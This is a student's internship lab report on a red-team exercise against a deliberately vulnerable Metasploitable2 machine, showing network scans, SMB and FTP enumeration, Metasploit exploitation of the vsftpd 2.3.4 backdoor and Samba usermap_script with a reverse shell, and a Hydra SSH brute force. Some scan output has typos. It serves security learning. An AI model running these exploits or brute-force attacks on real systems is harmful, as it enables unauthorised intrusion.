

SECURE DEV LABS

INTERNSHIP TASK 1

Prepared by: AMMAR ALZAIEM

University / Semester: Arab International University / Third Semester

Date: 16 August 2026

Task 1 report

Introduction

This report documents the practical work I completed for Secure Dev Labs Internship. The objective was to follow a basic red-team workflow against an intentionally vulnerable Metasploitable2 machine inside an isolated lab.

Reconnaissance & Host Discovery

3.1 Host Discovery

I first checked the online responding hosts on the network subnet(**192.168.100.0/24**)

```
ommar@kali: ~$ nmap -sn 192.168.100.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-14 11:55 EDT
nmap_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.100.1
Host is up (0.0002s latency).
MAC Address: 52:54:00:12:35:08 (QEMU virtual NIC)
Nmap scan report for 192.168.100.2
Host is up (0.00025s latency).
MAC Address: 88:00:27:8E:A6:FA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.3
Host is up (0.00021s latency).
MAC Address: 52:54:00:12:35:08 (QEMU virtual NIC)
Nmap scan report for 192.168.100.40
Host is up (0.00044s latency).
MAC Address: 88:00:27:8E:A6:FA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.10
Host is up.
Nmap done: 250 IP addresses (5 hosts up) scanned in 2.31 seconds

ommar@kali: ~$ ping -c 4 192.168.100.40
PING 192.168.100.40 (192.168.100.40) 56(64) bytes of data:
64 bytes from 192.168.100.40: icmp_seq=1 ttl=64 time=0.417 ms
64 bytes from 192.168.100.40: icmp_seq=2 ttl=64 time=0.485 ms
64 bytes from 192.168.100.40: icmp_seq=3 ttl=64 time=0.511 ms
64 bytes from 192.168.100.40: icmp_seq=4 ttl=64 time=0.453 ms

--- 192.168.100.40 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3063ms
rtt min/avg/max/mdev = 0.417/0.466/0.511/0.035 ms
```

The intend target (**192.168.100.40**) responded successfully confirming that Kali and the target are seeing each other. So now we can move on with our process.

3.2 Port & Services Scanning

I performed a full port scan with Nmap, with version detection in order to know what services are running on each port.

```

mmmm@kali:~$ nmap -i 192.168.100.40
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-16 12:01 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.100.40
Host is up (0.0083sec latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1329/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccpproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6080/tcp  open  x11
6667/tcp  open  irc
8080/tcp  open  ajp13
8189/tcp  open  unknown
MAC Address: 08:00:27:CB:51:1F5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.34 seconds

mmmm@kali:~$ nmap -i 192.168.100.40
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-16 12:01 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Service scan timing: About 87.83s done; ETC: 15:10 (0:00:07 remaining)
Status: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan timing: About 87.83s done; ETC: 15:10 (0:00:15 remaining)
Status: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan timing: About 88.50s done; ETC: 12:12 (0:00:12 remaining)
Nmap scan report for 192.168.100.40
Host is up (0.00021 latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  vsftpd 2.3.4
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
1445/tcp  open  netbios-ssn
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  java-rmi
1329/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6080/tcp  open  x11
6667/tcp  open  irc
8080/tcp  open  ajp13
8189/tcp  open  http
MAC Address: 08:00:27:CB:51:1F5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.metasploitable.lan; OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.71 seconds

```

3.3 Web Enumeration with Nikto

Since HTTP was running on port 80, I used Nikto to get more information about the web server.

Nikto Identified the server as **Apache 2.2.8 on Ubuntu** and **PHP 5.2.4**

- The **anti-clickjacking X-Frame-Options** header which prevents clickjacking attack.
- The **HTTP TRACE** is active, which makes the server vulnerable to XMT(Cross-Site-Tracing)
- The **phpinfo.php** file is found, This exposes details about the server's configuration and environment.
- /doc/** and **/test/** directories are browsable which exposes information that supports further investigation.

SMB Enumeration

```
L-$ smbclient -L //192.168.100.40 -N
Anonymous login successful

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  tmp            Disk      oh noes!
  opt            Disk
  IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
  ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server          Comment
  -----
  Workgroup       Master
  WORKGROUP       METASPLOITABLE
```

Using the `enum4linux`, I obtained a lot more information about the machine, The Samba server identified itself as **Samba 3.0.20-Debian**. Also the server allows a session using an empty username and password The enumeration also revealed number of usernames on the system, including:

- root
- msfadmin
- www-data
- mysql
- ftp
- tomcat55
- backup

The password policy is interesting, The password complexity is disabled and that there is no effective account lockout threshold

FTP banner grab

The FTP service that's hosted on the machine allows anonymous login.

```
(ammar@kali)-[~]
$ nc -nv 192.168.100.40 21
(UNKNOWN) [192.168.100.40] 21 (ftp) open
220 (vsFTPd 2.3.4)
id
530 Please login with USER and PASS.
USER anonymous
331 Please specify the password.
PASS anonymous
230 Login successful.
help
214-The following commands are recognized.
  ABOR ACCT ALLO APPE CDUP CWD  DELE EPRT EPSV FEAT HELP LIST MDTM MKD
  MODE NLST NOOP OPTS PASS PASV PORT PWD  QUIT REIN REST RETR RMD  RNFR
  RNT0 SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
  XPWD XRMD
214 Help OK.
```

So I used it to perform banner grabbing of the FTP version service, which is **vsFTPd 2.3.4** as shown in the figure above.

At the end I maintained a table of some of the important results:

Port	Service	Version
21	FTP	vsftpd 2.3.4
22	SSH	OpenSSH 4.7p1
23	Telnet	Linux telnetd
25	SMTP	Postfix smtpd
53	DNS	ISC BIND 9.4.2
80	HTTP	Apache 2.2.8
139/445	SMB	Samba

Vulnerability Analysis

I used searchsploit to check whether known public exploits existed for the running services on the host

<pre>(ammar@noOne)-[~] \$ searchsploit vsftpd 2.3.4</pre>	
Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb
Shellcodes: No Results	
<pre>(ammar@noOne)-[~] \$ searchsploit Samba 3.0.20</pre>	
Exploit Title	Path
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass	multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)	unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow	linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)	linux_x86/dos/36741.py
Shellcodes: No Results	
<pre>(ammar@noOne)-[~] \$ searchsploit Apache 2.2.8</pre>	
Exploit Title	Path
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution	php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner	php/remote/29316.py
Apache < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow	linux/dos/41769.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak	linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service	multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow	unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)	unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)	unix/remote/47080.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal	linux/webapps/39642.txt
Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities	multiple/webapps/18329.txt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution	multiple/remote/44556.py
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execu	multiple/remote/41690.rb
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection	multiple/webapps/44583.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing	multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal	unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)	multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass	jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass	windows/webapps/42953.txt
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)	linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution	linux/remote/34.pl
Shellcodes: No Results	

So we will continue to exploitation with vsftpd 2.3.4 and Samba 3.0.20

Controlled Exploitation

vsftpd 2.3.4 Backdoor

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.100.40
RHOSTS => 192.168.100.40
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.100.40:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.100.40:21 - USER: 331 Please specify the password.
[*] 192.168.100.40:21 - Backdoor service has been spawned, handling...
[*] 192.168.100.40:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
id
uid=0(root) gid=0(root)
whoami
root
id
uid=0(root) gid=0(root)
date
Sun Aug 16 05:33:15 UTC 2026
```

The exploit ran successfully and opened a shell with root privileges

Samba usermap_script

```
msf6 > use exploit/multi/samba/usermap_script
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.100.40
RHOSTS => 192.168.100.40
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.100.10
LHOST => 192.168.100.10
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP double handler on 192.168.100.10:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo LUrK3KMnSw4ICkI3;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "LUrK3KMnSw4ICkI3\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.100.10:4444 -> 192.168.100.40:33974) at 2026-08-16 05:38:39 -0400

whoami
root
id
uid=0(root) gid=0(root)
date
Sun Aug 16 05:38:48 EDT 2026
```

Also this exploit successfully opened a shell with root privileges

SSH Enumeration

```
(ammar@kali)-[~]
└─$ hydra -l msfadmin -P ~/myWordList.txt ssh://192.168.100.40
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-16 05:24:59
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://192.168.100.40:22/
[22][ssh] host: 192.168.100.40 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-16 05:25:11

(ammar@kali)-[~]
```

Findings Summary

Area	Observation	Impact
FTP	vsftpd 2.3.4	Known backdoor
SMB	Samba 3.0.20, anonymous enumeration	Information disclosure and command execution
Web	old Apache/PHP, directory indexing	weak configurations
Accounts	Many usernames exposed through	Supports further authentication attacks(brute-force)

Area	Observation	Impact
Password policy	Complexity disabled, no lockout threshold	Weak Authentication control

Conclusion

This exercise showed me why reconnaissance and enumeration are important before exploitation. The initial Nmap scan gave me a broad view of the target, while Nikto and enum4linux provided more detailed information about the web and SMB services. I then used the discovered software versions to search for known exploits instead of trying exploits randomly.

What did I learn

This task showed me how the red team workflow goes, the importance of using this methodology. Also how each stage builds for the other one (enumerating won't be efficient or might not work at all without proper reconnaissance). Although this lab set-up is old and considered outdated it's a good example for someone like me to practice following the methodology and building fluency.